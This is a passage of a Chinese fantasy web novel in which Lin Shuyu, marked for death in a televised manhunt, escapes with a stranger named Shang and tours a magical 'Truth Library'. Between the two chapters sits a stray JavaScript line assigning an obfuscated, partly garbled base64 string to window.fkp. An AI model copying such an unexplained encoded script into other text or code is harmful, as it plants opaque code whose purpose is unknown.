打印机慢慢打印出了一张张的签子,一百张签子很快就打印出来了。但这签子没有立刻就被打印机给吐出来,而是随着传送带送入了另一台打印机之中。这个过程就像是阎王打开了生死簿,在上面略览一番后定下了将死之人的死期一样,最后再将指令传达给自己的下手一样。 如往常一样,这次并不是正好一百张签子,而是多出了六张签子。这就像是阎王不小心多定了几人的死,而阎王眼昏花,不知道一样。 抽签过后,是二轮抽签。很快,每个嘉宾的挑战时间都打印在了签子之上。慢慢地,随着传送带一张一张地落尽了一个红色的小盒里。露娜静静地看着、等着、祈祷着。不一会,不再有签子从传送带上出现了。于是乎,露娜抱起这个小盒走到了主持人旁边。主持人见了,好好地介绍了她一番,然后就念起台词,一张一张地将签子抽出。恍惚间,能看到主持人的身影变做了一个裤腰带里塞着钞票的审判官,正在念着被处以死刑的罪人的名字。 主持人: “第1位,张敏恫,挑战时间17小时35分钟32秒......第15位,马龙,挑战时间21小时54分钟21秒......第26位,林书妤,挑战时间8小时37分钟12秒......第56位,秋实,挑战时间11小时45分钟14秒......第78位......” 主持人在台上慢慢念出了所有嘉宾的名字。荧幕外的人有喜有悲,喜是因为盼望着在嘉宾名单中的仇人死去。悲是因为家里人的名字或自己的名字上了电视。那些听到自己的名字上了电视的人,心里不由得一惊,然后纷纷打开这个节目的官方App,看一看目标的照片是不是自己的模样。 如果是,那么就是天大的灾难,朋友家人都得避开,防止被大义灭亲。还得多准备点物资,顺带想想怎么才能在逃出生天。如果不是,那么便可以庆幸一番。但指不定在那天,就人名挂在榜上,到时候也得焦虑一番了。 此时在东城的高档酒店之中,正在看电视的林书妤看到了这条危险的消息。当看到自己的名字入了榜的时候,她差点就吓得昏了过去。她知道这意味着什么,也知道上了榜之后她将会是怎样个境地。事不宜迟,她立马带上钱和自己随身携带的黑皮金纹书就离开了酒店,向着东城的郊区进发。她没等走出几步,就发现一个都市之眼正站在楼下的一角,默默地注视着她。她心里一惊,赶忙快步撤离。但都市之眼的速度比她要快,她去哪里都市之眼就去哪里。无论她怎么去躲,就是躲不开都市之眼。 躲着躲着,她就躲累了。她来到了河边的公园,找了个长椅休息。都市之眼就坐在一旁的路灯上目不转睛地看着她。见她没了要跑的意向,都市之眼就跳了下来,然后迈着慢慢走向她。见都市之眼靠近,林书妤苦恼地摇了摇头,说道: “你就不能不跟着我吗?” 都市之眼耸了耸肩,告诉她: “不行。这是管理员大人的命令,我必须时刻监视你。” “哦。好吧。” 这时,都市之眼从口袋里拿出了一盒高档口香糖,然后走到林书妤面前,打开盒子给她递来了一块。都市之眼问道: “妹子,来一颗吗?” 林书妤叹了口气,接过口香糖,拆开包装一口吃下。她边嚼边思考怎么去最快到达郊区。目前城市里的道路多半会有人设卡阻拦,而且巷子内必然会有奔着钱而来的暴徒。由于都市之眼的存在,躲在城市里的任何一角都不安全,除非是郊区或者铁墙外的废墟。思考的途中,都市之眼偷偷拿出了手机,然后用手语暗示林书妤看手机。林书记见了,领会了他的意思。接着拿出手机,打开App,猛然发现自己的人气竟然是倒数第27名。这个排名相对安全一些,因此她觉得她更得安排个完美的躲避计划了。 林书妤心里: “怎么办才好呢?我的排名虽然靠后,但是也会有人来追杀我。如果不想个周全的机会,我很难保全自己的性命。陆路走不通......水路可以尝试,但可能会遭到围追堵截!空中就更别想了,我这个状态压根去不了机场。怎么办才好呢?好纠结啊......” 这时,几个身着花纹西服的协会成员出现在了她的视野之中。那几个协会成员拿着各式的兵器,银光在其上闪烁;他们的腰间还别着把手枪,看来是做足了准备。他们的表情很是严肃,眼神中杀意十足。此时冷风呼啸而过,他们的气场更加强大。看着他们,林书妤觉得来者不善,于是立即起身就要走。看到林书妤要走,他们几个瞬间加速冲向了林书妤。林书妤见了,转头就跑。这时,他们当中跑得较快的两人即将抓到林书妤,千钧一发之际,林书妤突然转身,然后竟主动向他们那里走了一步。这两人猝不及防,实属没有料到林书妤会这么做。 林书妤快速伸出双手,一手一个地去触摸这两人的脸。啪的一声,林书妤的手与这两人的脸紧密贴合,就像是一巴掌扇在上面一样。突然间,这两人一个急刹停了下来,林书妤也跟着他们停了下来。这两人的眼睛瞪得大大的,脸上的表情很是惊讶。不知为何,这两人竟没有出手去抓林书妤。这两人的同伴见了,忍不住心里一想: “诶?这不对吧。他们两个怎么就不动弹了呢。” 见到两人的状况,其他人以为是林书妤有什么高度危险的核心技能,于是立马停下身来驻足观望。在未摸清林书妤的核心技能之前,他们这些人不敢贸然发动袭击。这时,滋啦滋啦的翻书声传入了他们的耳中。定睛一看,发现那两人的脸如同书一样被林书妤所翻开,这着实惊讶到了他们。 林书妤: “天下一通·独光之书。” 林书妤向外猛地一翻,这两人的一半脸皮被瞬间翻开,底下的白色书页随之被翻开,发着光的文字从这些书页中浮现出来,每个文字都是他们记忆之中的信息。此时,这两人的脸犹如一本书一样,可以被林书妤随意翻阅。林书妤快速翻书,在两人的众多书页中找到了她想看的那两页。她一人取下一张,然后快速阅览一遍,记下了所有的重要信息。 林书妤: “(恍然大悟)原来如此......” 说完,林书记快速将书页塞回,然后立刻转身逃跑。见到林书妤逃跑,在一旁观望的人立马察觉到了不对,接着立马就追了上去。在逃脱这些追兵的过程中,林书妤拿出那本黑皮金纹书,汇聚核心能量于书页上,然后对着身后的追兵释放了文字冲击。她这招式成功击退了很多追兵,但没有彻底甩掉他们,只是与他们拉开了些距离。 时间慢慢流逝,距离挑战开始的时间慢慢缩短。林书妤在街上疾驰,躲避着路上遇到猎人,同时还得想办法去甩掉身后的追兵。没有多余的时间容她考虑,只能小鹿乱撞,慌不择路。在巷子中遇到死路时,她用自己的核心能力将自己的黑皮金纹书变大,然后踩着这本书原路飞出巷子。落地时,她用这把变大的书生成能量屏障,以此来阻碍巷子中的追兵前进。 她跑着跑着,就跑到了挑战开始的时候。随着电视屏幕上主持人的一声令下,这场疯狂的大型真人秀正式开始。她此时在街上疾驰着,突然,一把电爪抓在了她的背上,随即释放强电击。她立刻反应过来去拿开电爪,但她还是晚了一步。强电击让她直接停住脚步,让她在原地抽搐。所幸仅存的意识让她拿开了电爪,并将它扔到了一旁,她这才缓过劲来。这时,她已经被那些前来追杀的人给包围了。 林书妤不安地挪了挪步,看着这么多一起走向自己,心里紧张极了。虽然她有能全灭对方的能力,但她此时不想使用。她想她的核心能力用在好的方面而不是杀戮。随着包围圈越来越小,林书妤也顶住不压力,拿出了那本黑皮金纹书,准备用书页冲击来打退对方。她打开书,让这本书悬浮在空中,用核心能量快速翻页。顿时间,金色的能量线条就汇聚在了这本书上面。见到林书妤如此,这些人也干脆不走着靠近,直接一个健步前冲迅速靠近了她。千钧一发之际,书页冲击释放,一道淡黄色的激光从这本书之中射出;在她的操控下,一个大规模扫射过去,击退了一大片的人。她没有留意到身后还有几个人正在靠近,等她意识到的时候,已经是为时已晚了。 一把锋利的刀对着她的头砍了过去。她此时快速后退,但被砍中已成定局。她吓得全身都冒出了冷汗,一时只知道后退躲避了。就在这关键时刻,一个身影突然出现她的身后,以极快的速度用胳膊遏住了她的脖子,然后她的眼前一顿天旋地转,之后她瞬间落地。这个身影用稍显粗暴的方式救了她。她本能地摇了摇头,接着很快从刚刚的眩晕感之中恢复了过来。她看向身旁,发现是一个相貌平平的人救了她。她正要开口去感谢他,突然一个拿着刀的人冲上前来要劈杀了她;他见了,一个健步上前一个冲刺拳给那人打飞了出去。他看了看周围的情况,然后对林书妤说: “姑娘。先别浪费时间了。快走吧!” 林书妤点了点头,张望了一下周围,发现向后跑能去郊区,于是对身旁的他说: “我们向后面跑!去郊区。” 他点了点头。此时敌人再度袭来,林书妤使用书页冲击击退一部分,他用拳法与腿法击退了另一部分。他强制在这个包围圈上撕开一条裂缝,让自己和林书妤通过这条裂缝逃出了包围圈。逃出包围圈没多久,更多的追兵追了上来。为了保护林书妤的安全,他毅然决然地与那些追兵战斗,配合林书妤的书页冲击,将追兵都一一击退。两人废了很长的时间才跑到了郊区之中。到了郊区,两人终于可以找个地方先歇一会了。 两人找到了街边的一角,然后气喘吁吁地坐下。刚坐下,林书妤就微笑着对一直保护她一路的好心人表示了感谢。 “谢谢你,哥。” 他笑了两声,摇摇头很坦然地说: “没事。助人为乐吗。更何况你是遭到追杀的人,帮一把肯定是没坏的。” 林书妤瞪大了眼睛,往一旁挪了挪。她的眼神之中有了敌意,似乎恐怕他会突然转变。见到林书妤这个反应,他赶忙解释道: “你不用担心,我又不是追杀你的人。更何况我连你因为什么被追杀都不知道!我要是要想杀了你,那时候我就不会帮你了。” 听到他这么说,林书妤往回挪了挪。林书妤有些好奇地问他: “哥,你叫什么名字啊?” 他看了林书妤一眼,然后很自然地告诉她: “哈?你问我?啊......我啊,叫殇。” “殇?很特殊的名字。” “你叫啥啊?姑娘。” “我叫林书妤。” “呦吼!这名字挺好听的。——对了,姑娘,那些人为什么去追杀你啊?” “这个......一会到了安全的地方我再告诉你。” “哦......那你下一步的打算是什么?去躲到哪里去?” “我们去真理图书馆,那个地方绝对安全。” “真理图书馆?” “去了你就知道了。” 说完,林书妤就起身准备离开。殇见了,也跟着她一起离开。在郊区的街上,行人比城里的要少上很多,街上几乎见不到几个人。郊区的萧条与安静殇也是之前有亲眼目睹过,他自然没觉得有多奇怪,反倒是看着聪慧的林书妤显得就有些疑惑,她似乎从没来过这里。 走着走着,林书妤好好领略了一番郊区的萧条与破败。这里的卫生条件比林书妤见过最差的地方还要差,垃圾的处理系统还是十三年前的样子。这里的破败程度比她想得要更深,空楼与烂尾楼不在少数,其中还夹杂着一片片的废墟居民楼。看完这些,她忍不住心中的好奇,去问殇: “这里就原本是这样的吗?” 殇摇摇头,告诉她: “不是。” “那这里原来是怎么样的?” 她追问道。殇耸了耸肩,回答她: “这里原来是一片欣欣向荣,直到这疫病到来。现在的腐朽与破败,是在这疫病降临后所形成的。” 她叹了口气,皱着眉头说道: “看来并不是所有的书籍都在告诉我们真相。” 殇附和了一句: “对啊,书上都说底层实际上与上面也就差个Gdp,但实际上从各个方面都有所差距,而且差距很大。” 这时,林书妤的心里涌现出了更多的问题。 “对了,殇。你是这里的本地人吗?” “我不是,我是个外来的。” “那你怎会这里这么了解?” “因为我在这里切身体会到了那些。因为我在这里生活了一段时间......虽没有彻底,但也明白了个大概。” “哦哦。——那你知道怎么改变这里的现状吗?” “这个......暂时不知道。也许将来会有办法......相信这里的政府与人民吧。一个人能穷一辈子,但一个国家不能穷永恒。会有富起来的那一天的。但愿如此......” 一段时间后,她们到了一间图书馆门口。在这萧条、破败与贫困所笼罩的郊区,竟有一间像模像样的图书馆,真是一种奇观。推门进去,一位灰头发的年轻图书管理员正在书架中看着一本古代哲学。见到有书客到来,立即合上手中的书,露出一抹轻松的笑容就走了过来。走到近前,她对殇和林书妤温柔地说道: “今日欢迎二位书客前来此地阅览书籍。我是这里的图书管理员戴安娜,如果有需求恳请二人来找我询事,切勿做出亵渎书籍之事。本店规则严明,若毁坏书籍,当原价十倍赔偿。若有态度强硬者,当付出惨痛代价。” 她说这句话的时候面色不改,温柔中透露出了严厉。 这位图书管理员身着一身标准的图书管理员服饰,也就是俗称的黑白灰三色礼装。她有着灰色长发,梳马尾辫;左眼挂着一个单片眼镜,衣服的口袋里放着一块怀表;她的身板很直,站姿十分端庄,颇像一位绅士。她的色瞳是棕色的,其中流光溢彩,透露出些许温柔。但她眼神十分犀利,向一只顶级捕猎者一样,与她对视,不由得让人心里发慌。整体看着,优雅之中带着一丝严厉,颇有一位管理者的霸气与威严。 林书妤见了,很自然地笑了笑。她对戴安娜说: “戴安娜小姐,我这是江南司书林书妤,你能让我和我身旁的这位先生进入真理图书馆待一阵吗?” 戴安娜拿出怀表,瞥了一眼时间,然后拿着怀表背着手,摆出一副庄重的样子。她一脸严肃地问林书妤: “怎么证明你是江南司书?” 林书妤拿出了随身携带的那本黑皮金纹书书,然后一把扔到了口中。突然,这本书一个回旋来到戴安娜的身前,书页对准了戴安娜。在林书妤的控制下,书页快速翻转,许多发着光的文字从书中飘了出来。林书妤很郑重地告诉戴安娜: “这是属于我的书,乌鸦之哀歌。” 戴安娜见了,闭上眼睛笑了笑。然后将怀表返回衣服的口袋里,睁开眼告诉林书妤: “收起你的书,跟我去藏书室走一趟。我带你们去真理图书馆。” 林书妤点了点头,然后对身旁的殇说: “走吧。” 之后,戴安娜领着林书妤和殇来到了藏书室。藏书室内有许多书架,书架上放着很多书籍,大多都是古书。见到这些书,殇和林书妤都有些惊讶。当她们来到藏书室的中央是,戴安娜打了个响指。随后,许多本古书从书架中飞出。这些古书全部打开,书页一张一张地从这些书之中飞出。顿时间,书页飞舞;在藏书室昏暗的灯光照耀下,这景象多了几分奇幻色彩。突然间,在一种特殊的力量的聚合下,这些书页开始汇聚。 看到这景象,殇觉得很是新奇,他从未见过这种奇幻场面。一旁的林书妤则显得淡定了许多,她曾去过几回真理图书馆,已经对这个过程习以为常了。这时,戴安娜从衣服的口袋中拿出怀表,时不时瞥一眼,看时间多少。等待的时间不算太漫长,不一会,一本两米多高的金皮书就出现在了她们眼前。见到这本书的时候,殇惊叹道: “我的老天爷啊!” 戴安娜看着这本巨书,十分郑重地对林书妤和殇介绍道: “这就是真理图书馆的入口:真理之书。走进去,就是真理的殿堂,世界上书籍储量第二多的图书馆。” ...... 都市之眼: “实时监测,实时播报。现已有35名挑战者挑战失败了。还有一位失去了实时画面。我们尝试寻找那个人,可无论怎样就是找不到她。她也许从这个世界上消失了......” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第二十三话:真理图书馆 殇看着面前这本巨书,托起下巴思考了一下,想不出该怎么进入真理图书馆。殇问戴安娜: “管理员女士,我们该怎么进去呢?” 戴安娜思考了一下,问殇: “你是第一次来吗?” 殇点了点头,说道: “对。” “哦,原来如此。” 戴安娜对着那本巨书用力一挥,那本巨书随即翻开。见此,殇有些好奇地问道: “你这是......” “你直接走进这本书就行。” “哦,行。” 殇走向这本巨书。走着走着,殇就撞到了这本书的书页。他挠了挠头,转身问戴安娜: “这也走不进去啊!” 此时,戴安娜一脸严肃地看着他,听到他的问题,也没说话。林书妤则在一旁露出了坏笑,似乎是知道了接下来要发生的事。殇挠挠头,一脸疑惑与不解。就在这时,戴安娜打了个响指。殇背后的巨书开始颤动,殇意识到了危险,但此时已经没法躲开了。啪的一下,这本巨书合上了...... 殇猛然惊醒过来,猛吸一口气,张望了一下四周。他发现自己正处在一个巨大图书馆的大厅之中,大厅内还有些穿着灰色礼装的司书正在冲着他笑。殇站起身来,看了看自己的身体,发现自己毫发无损。殇有些不解地挠了挠头,左顾右盼了一下,好奇地问道: “这里就是真理图书馆吗?” (诶?他没来过?) (诶呦!是新人。) (他长得好成熟啊,好像是个大人物。) 这时,有人在背后用手指戳了戳殇。殇转头看去,发现是林书妤。林书妤小声告诉殇: “别太在意那些司书的话,他们喜欢忽悠新人的。” (诶?林书妤也来了。) (她在跟新人说什么呢?) (他不会是林书妤她男朋友吧......) 殇点了点头。这时,戴安娜拿着一本灰色的书出现在了大厅中央。她很郑重地告诉在场的每个人: “请每位入场人员都去遵守这里的规则,切勿触犯这里的规矩。” 说完这句话,戴安娜将目光汇聚到了殇身上。她看着殇,很郑重加严肃地对殇说: “欢迎来到真理图书馆,殇。” 说完,戴安娜就化作一堆书页,消失得无影无踪了。在戴安娜走后,殇和林书妤走过大厅,映入眼帘的是一幅巨画。这幅巨画画的是一位拿着水仙花的创世女神:希德薇拉。看着这幅画,林书妤突发奇想给殇当起了导游,向殇介绍起了这幅画。 “殇。这幅画是真理图书馆的镇馆之宝,是美术与哲学组的成员花了十年时间才画出来的。整体采用1:16的比例,换算过来后就是现在那么大。希德薇拉姐姐太高了!大约是370cm,两个我加起来都没她高。这远超人类女性的高度,绘画时难倒了美术组的全体司书。因此还产生了什么当代毕加索之类的失败品......不过后来还是很顺利的,也就十年的反复调试,最终呈现出了如今的效果。” 听到此处,殇忍不住吐槽了一句: “三米七多?!这比殇王国的国王之手还高啊!” “对啊。希德薇拉姐姐不仅是高,而且长得还很好看。好看到美术组的司书们第二次被难倒,当时砸笔的心思都有了。好在有哲学组的卧龙凤雏们的帮忙,最终还是将她的细节补充完整。” 听到此处,殇忍不住问了一句: “你们是怎么知道她长啥样的?” “啊这......根据真理图书馆一开始成立时就有的那本无名书上的描述,在加上有的美术司书还亲眼见到过希德薇拉的幻影。据说那几个美术司书流了不少鼻血......很难想象希德薇拉姐姐到底能有多漂亮。” “哦。漂亮的创世女神......我似乎对她有点印象,似曾见过。” 殇仔细打量起这幅画,隐隐想起了之前的那张羊皮纸...... 在一旁的林书妤看着这幅画,小声地自言自语道: “要是希德薇拉姐姐要不是平的就好了......” 殇转过头来,问林书妤: “你说什么?” 林书妤红了脸,摇摇头说: “没什么!我只是说要能见一眼她就好了。” “哦......走吧,先不看这幅画了。你带我去这里逛逛,我想好好看看这个世外桃源。” “行。” 话应刚落,殇和林书妤向着真理图书馆的其他地方走去。沿着宽阔的走廊一直走,能看到墙上挂着的各种画作。各种派系在这里演绎不同的美,可谓是百家争鸣;他们通过高雅的艺术创作,制造了墙上这些美术作品。看着这些画,林书妤向殇介绍道: “这是美术组的各路神仙画出来的杰作,看着很不错不是吗?” 殇即答道: “确实。属实有当代梵高与毕加索的风采。” 走过走廊,就到了图书馆的着名地点万缕长廊。万缕长廊采用了绿色为主色调,其余的颜色均为辅色。长廊的地板是一幅巨大的画作,这幅画作从长廊的一端延展到另一端,其巨大程度可想而知。这幅画作画出了从古至今的各种奇景,融合了古代艺术与现代科技,可谓是一幅杰作。长廊的柱子都刷着红漆,柱座和柱身上有着精美的金色纹路画。在长廊中行走,别有一种韵味。走在长廊中,林书妤向殇介绍道: “这座长廊是我们建筑组与美术组合作制造出来的,花了很长时间才完工的。怎么样?是不是很漂亮?” 殇点了点头,夸赞道: “确实漂亮,走在这里跟走在仙境之中似的。” “这座长廊连接的是大厅与历史组。” “历史组?之前就听你说什么组什么组的,你们这个组,是按照学校里的那些学科分的吗?” “不是的。这里的分组都是由书籍的种类来分的。等到了后面,你还能看到童话组和科技组呢。” 在长廊中走了一会,突然间,长廊外的景象豁然开朗。殇看向长廊外,首当其中的是看到了一座高塔与塔底如海洋一般的书籍。 这座高塔由塞满书的书架组成,其高度直连图书馆的天花板。高塔周围是无数悬浮着的大型书架,书架上也是同高塔一样塞满了书。在高塔的周围有着许多平台电梯,许多来看书的人站在电梯上,在某种神奇力量的帮助下在高塔上上下移动。想去哪个位置,电梯就能送其到哪个位置。竖直向上叠加的层状巨环包围了这个高塔,巨环距离高塔的距离十分遥远,前往高塔只能通过最底层的港口去坐上小船才能到达。每个巨环都是图书馆的一层,每层都是不一样的景象。现在殇所处在的位置,是图书馆的第一层。 看着那座高塔,林书妤对殇介绍道: “那是图书馆的真理存放地,是整个图书馆中最神圣的地方。要想去那里去看蕴含真理的书籍,得要下到负二层的港口,坐上一艘小船,在书籍的海洋中漂泊一段时间才能抵达。一般要去的人得在船上等待很久才能靠近高塔,想去就必须有那个耐心。” 殇明白了,但他还有些问题要问。 “哦。那底下跟海一样的书是怎么回事?” “你说那些啊!那些都是这里的司书写的书以及一些外来书籍。把它们扔在那里并不是我们想要这么做,而是这个地方的循环系统就是这样的。真理必须要从像海一样的书籍中捞出来。” “哦,那我明白了。” 走过长廊,就是这层巨环的主体:历史组。 历史组内尽是放着历史文件与历史书籍的书架,同时摆放着大量的古代文物的复刻版。抬头望去,璀璨的文明的样子在银河一样的天花板上浮现,往日的流金岁月似乎还能看得出来。在历史组之中行走,能看到各种风格的民居、代表性建筑和主题风格的阅读室。阅读室内是各种研究相对应历史的人,他们手里多半捧着份古代文明的研究笔记;他们多半一边对照着古代文献,一边在笔记上修改与记录信息。 当来到历史组的中心大厅时,八个放在黄金台座上的特殊文物出现在殇的眼前。殇走进了一看,发现是各种时期的象征。遍布沧桑的打火石、染着鲜血的鞭子、沾满泥土的王冠、蒸汽机的零件、融化了一半的黄金、金色的镰刀与锤子、不断闪烁的等离子晶体、布满电路的机械之心,这似乎是什么暗喻。就在殇琢磨的时候,历史组的组长关月走了过来。 关月: “(好奇)哦?是新客人吗?” 殇被她吓了一跳,本能地一激灵。 关月: “(微笑)诶呀!吓到你了吗?不好意思。” 殇: “没事。——等等......你是谁?” 关月: “(微笑)我是历史组的组长关月。” 殇: “哦。你好,关月。” 关月: “(微笑)你好,新人。” 殇: “(好奇)对了,你能给我解释下这八个东西吗?我有些不明白它们在这里的意义。” 关月看着这八个东西,想了片刻,然后告诉殇: “这八个东西是我们历史组的宝贝。我们不知道它们从何而来,从这历史组成立的第一天起这八个东西就在。以我们调查可知,这可能是另外一个高级文明的一生。” 殇似乎明白地点了点头。殇又看了这八个东西一边,看着这个金色的镰刀与锤子,他隐隐地觉得这东西似乎是某种神圣存在的象征。望着它,殇不禁心生敬意。看完这些,殇没有立刻离开,而是跟关月聊起了天。 殇问关月: “你们历史组成立有多久了?” 关月微笑着回答道: “大约有三十多年了。” “你们主攻什么?” “我们的历史和希德薇拉大妹子一族的历史。” “你们研究出什么了吗?” “有啊。我们研究出希德薇拉一族的历史与我们有很大的相似性,但她们的历史要更加曲折一些。我们的历史主要的转折是殖民者入侵与后来的技术大爆发,其余的很少。而希德薇拉她们一族的转折点就很多了,比如伟大战争和星际战争什么的。” “哦。他们的要比我们曲折很多!” “对。而且我们的研究还引出了一个很传奇的人物,他叫希塔罗斯。关于他的这方面,我们暂无太多有价值的信息,只知道他跟希德薇拉有关系。其他的信息还待跟深层次的研究。” “希塔罗斯?一听就是个了不起的大人物。” “在研究希塔罗斯的时候,我们发现希德薇拉一族的各方面水平都在我们之上,似乎他们的力量已经远超了神明。” “哦吼?那可是个大课题了。” “所以我们还需要更加努力......历史这方面,得慎重分析。” 之后殇告别关月,准备离开。就在这时,他发现林书妤不见了。他挠了挠头,环视了一番,发现林书妤正在历史组的一角看着古代文献。殇走到林书妤面前,叫了她一声,这一声给林书妤吓了一跳。林书妤有些尴尬地挠了挠头,说: “抱歉哈,看书看入迷了。殇,我们去其他组转转吧。” 接下来,殇和林书妤一路向着历史组的深处走,在一小段时间后走到了历史组与美术组相连接的旋转楼梯前。这个旋转楼梯是由高档大理石打造出来的,上面挂有华丽的装饰品,还有黄金围栏与红色金纹地毯。许多颗闪耀的星星环绕着这个旋转楼梯,让旋转楼梯的格调显得更加高档。踏上去仿佛是踏上了登天之路一般,似乎走个几步就能与月亮肩并肩。 殇看着这个华丽的旋转楼梯不由得惊呼道: “我滴个老天爷啊!属实是鬼斧神工!” 听到这话,林书妤笑了笑,告诉殇: “先别急着惊讶,等到了美术组,还有更让你惊讶的。” 一听林书妤这么说,殇倒有点期待美术组的样子。踏上旋转楼梯,没等殇迈出第三步,嗖的一下,两人就来到了二楼美术组。殇有些懵,看了几眼脚下的楼梯,他发觉似乎是旋转楼梯自己动了。见到殇这个反应,林书妤捂着嘴轻笑了两声,然后放下手告诉殇: “这是这里特殊的电梯,直达的那种。不用如此见怪的。” 一听是这么回事,殇耸了耸肩,吐槽道: “这里的一切可太奇幻了!哦......我该这么说,这里本身能存在就够奇幻的!” “好啦好啦。走吧,我们去美术组转一圈。” 殇耸了耸肩,然后跟着林书妤进了美术组。美术组内是画作、线条、笔墨、颜料、纸张的天堂,这些东西在这里无处不在,可以说得上是泛滥了。数不清的画作一摞摞的放在地上,似乎都是因为一笔之差等原因放弃的画作。美术组的书架也很多,不过都塞满了。完美的画作夹在册子里塞进书架,塞得比藏书都多。美术组还有很多植物作为装饰,配合着这些画作,这里有很深重的艺术气息。除了这些,美术组还有雕塑与放着服装的架子。雕塑有很多种,但似乎那种纯真艺术在这里被禁止了,再艺术的雕塑都需要遮羞布料,服装也是如此。 来了美术组就跟进入了新世界似的,到处都是殇没见过的新奇事物。就光挂在墙上的各种流派的代表作,殇就能花上个一段时间去理解了。当走到其中一副抽象派的代表作前时,殇留意到了一旁一个牌子。殇走到牌子前仔细一看,发现是戴安娜的留言。 牌子上: “美术组司书们请注意,纯真艺术在这里只允许出现在古代记录性书籍上,或是那些古代艺术作品的复刻版上。根据图书馆的规则,如果搞现代纯真艺术,那将是对图书馆的亵渎。过分的低俗与裸露只会暴露人性的丑恶,那制造出来的不是艺术!切勿制造歪风邪气,切勿宣传低俗信息。否则我有权将违规司书强制驱逐出图书馆,并让其永远不能归来。望各位美术组司书们请注意个人的艺术下限。——这里是文明与智慧的殿堂,不是俗气能进得来的地方!” 殇对着这个牌子竖起大拇指夸赞道: “我觉得这说的没毛病!艺术确实得注意尺度,不然那将不是艺术,而是风俗的造物。” 走到美术组的中心大厅,映入眼帘的是一幅挂在墙上巨大的画作以及周围地面上摆放着的各种雕塑与穿着精美服饰的模特。殇仔细看一看,发现大厅的地面被五彩斑斓的复合条纹图案所填满,看着它,好似看到了万花筒内的景象。殇可以想到这其中倾注了艺术家家多少的心血;来上那么一幅,不知消耗多少心力与年华。看完地面,殇抬头仔细去看那幅巨大的画作。 这幅画画的是一个古怪的人;他的头是一直巨大的右手,手里握着一本长着利齿的怪书,书里还有这一只大大的眼球;他的四肢比例远超正常人,也就是俗称的长胳膊长腿;他的双手很大能跟头部的手相成照应,而且两只手的手心处各有一只眼睛。他十分强壮,全身都是健硕的肌肉。他的身上只穿了一条西域风格的短裤,采用的是略显俏皮的粉紫色搭配。他的皮肤是淡粉色的,看着像是西域妖精的皮肤的颜色。 看过画,殇又去看那些雕塑与服装。刚去看,殇就一眼认出来其中有一尊雕像是国王殇的。殇慢慢地看,慢慢地欣赏这些雕塑的美,除了国王殇那尊。殇走到那些假人面前去仔细大量那些服装,发现这些服装的设计都是偏古风与科幻的,没有人愿意去设计更好看的西服。在这些服装之中,好巧不巧地有国王殇的半铠甲式礼服。这身礼服是紫黑黄三色搭配,与国王殇习惯穿的白金搭配的礼服有着很大差距。看了一会,林书妤和美术组组长埃德加就来到了大厅内。 林书妤: “殇!看看我把谁给你带来了。” 殇转过身来一看,林书妤旁边站着个戴眼镜的淡蓝色头发的美术大佬。见到对方,殇很尊敬地挥手示意。 埃德加: “你好啊,新人。我是美术组组长埃德加。” 殇: “埃德加......不错的名字。” 林书妤: “(恭敬)埃德加组长可是这里着名的美术巨匠!希德薇拉的话和这大厅的那幅画都有他帮忙投笔绘画。” 一条林书妤这么说,殇对着埃德加伸出大拇指,夸赞道: “赞啊!” 埃德加: “(谦虚)多谢夸奖。” 殇: “(好奇)对了,你能给我解释下这大厅里的那幅画画的是个什么物种?看着很奇怪,未曾见过。” 埃德加看着那幅巨大的画作冷笑两声,告诉殇: “那是我们尊敬的手哥。天宗的废墟图书馆的图书管理员。他是我见过最强大的文职,这世上没有那个文职人员能与他一战。” “啊?这么离谱。说来听听他有多强?” “他身高十三尺,一掌能将人握在手中。战斗时无需多言,直接伸出手抓起你的头,一把捏爆。他还会魔法,他能用他锐利的眼神射出凋零射线,扫到谁片刻就给谁蒸发掉。最变态的是,他一步顶人八步,冲刺速度能比汽车快,而且身法高超,诡计多端。与他一战百死一生!” “我的天啊!这么强吗?——你是从哪里知道这些的?” “真理图书馆实则是一个压缩在一本巨书之中的小宇宙,这个小宇宙原来是属于天宗的废墟图书馆的。当初为了在天宗的废墟图书馆里拿走真理之书,我们的探险人员付出的惨痛的代价,死了八十多人才将这本真理之书带回了城市。我们美术组为了纪念那些真理图书馆成立付出鲜血的人,就花了这么一幅画来纪念他们。” “哦。原来是这样。” “他的真名实际上叫约瑟夫·泰瑞嘉德·奥米太罗,名字很长不是吗?所以我们这里的人给他起了个外号,叫手哥。” “原来如此。就光他这个样,我也得叫他手哥。——聊些别的,你们美术组成立多久了?” “美术组成立较早,应该也有三十五年了。” “据我所知,这里有很多地方是你们负责给装饰的吧。” “没错。我们美术组在真理图书馆的许多方面都有负责,例如那些桥和那些画,都是我们美术组弄出来的。” “那可太行了!” “多谢夸奖。” 之后,殇和林书妤离开美术组,来到了第三层的科技组。科技组内有着打量的科研器材,现代各种顶尖科技的影子都可以在这里见到。殇在这里体验了一把闪电快传的感觉。在科技组组长的话中,殇了解到科技组中有些人是掌握奇点公司技术的科研人员。依照科技组组长的话来说,这些科技人员是企业在追人员,是在走投无路的情况下才来到的真理图书馆。听完,殇感慨人心险恶。走过科技层,是第四层的武术组...... 几个小时后...... 游览完真理图书馆,殇和林书妤回到了大厅。殇看了看时间,发现真理图书馆内的时间与外面的时间是一样的。现在已经是下午时分,而他还没有去干活,净顾着在真理图书馆里面逛了。殇感觉大事不妙,他得立马离开这里去工作。殇很着急地问林书妤: “我该怎么离开?我今天还什么活没干呢!” 林书妤想了想,看了一眼大厅中央。林书妤告诉殇: “你要是想离开,那就躺在大厅中央,然后闭上眼睛待上十五秒,你就会被传送出去。” 一听这么简单,殇立马就跑到大厅中央,然后快速躺下。在闭上眼睛之前,殇问林书妤: “林书妤,你还留这一会吗?” 林书妤走上前来,俯下身告诉殇: “对。我要在这里等到挑战结束。” “那好吧,那我就先离开了。” “等等,殇。” “嗯?怎么了?” “谢谢你今天帮我。要是没你帮忙,也许我今天就死在那里了。” “不用谢,助人为乐。” “再见,殇。” “再见。” 殇闭上眼睛,他耳边的声音渐渐模糊,他周围的地面渐渐下凹。慢慢地,他感觉自己悬浮在了空中,重力在此刻仿佛消失不见。慢慢地,他的耳边传来了哒哒哒的脚步声,同时觉得自己落了地。 “这么快就回来了?” 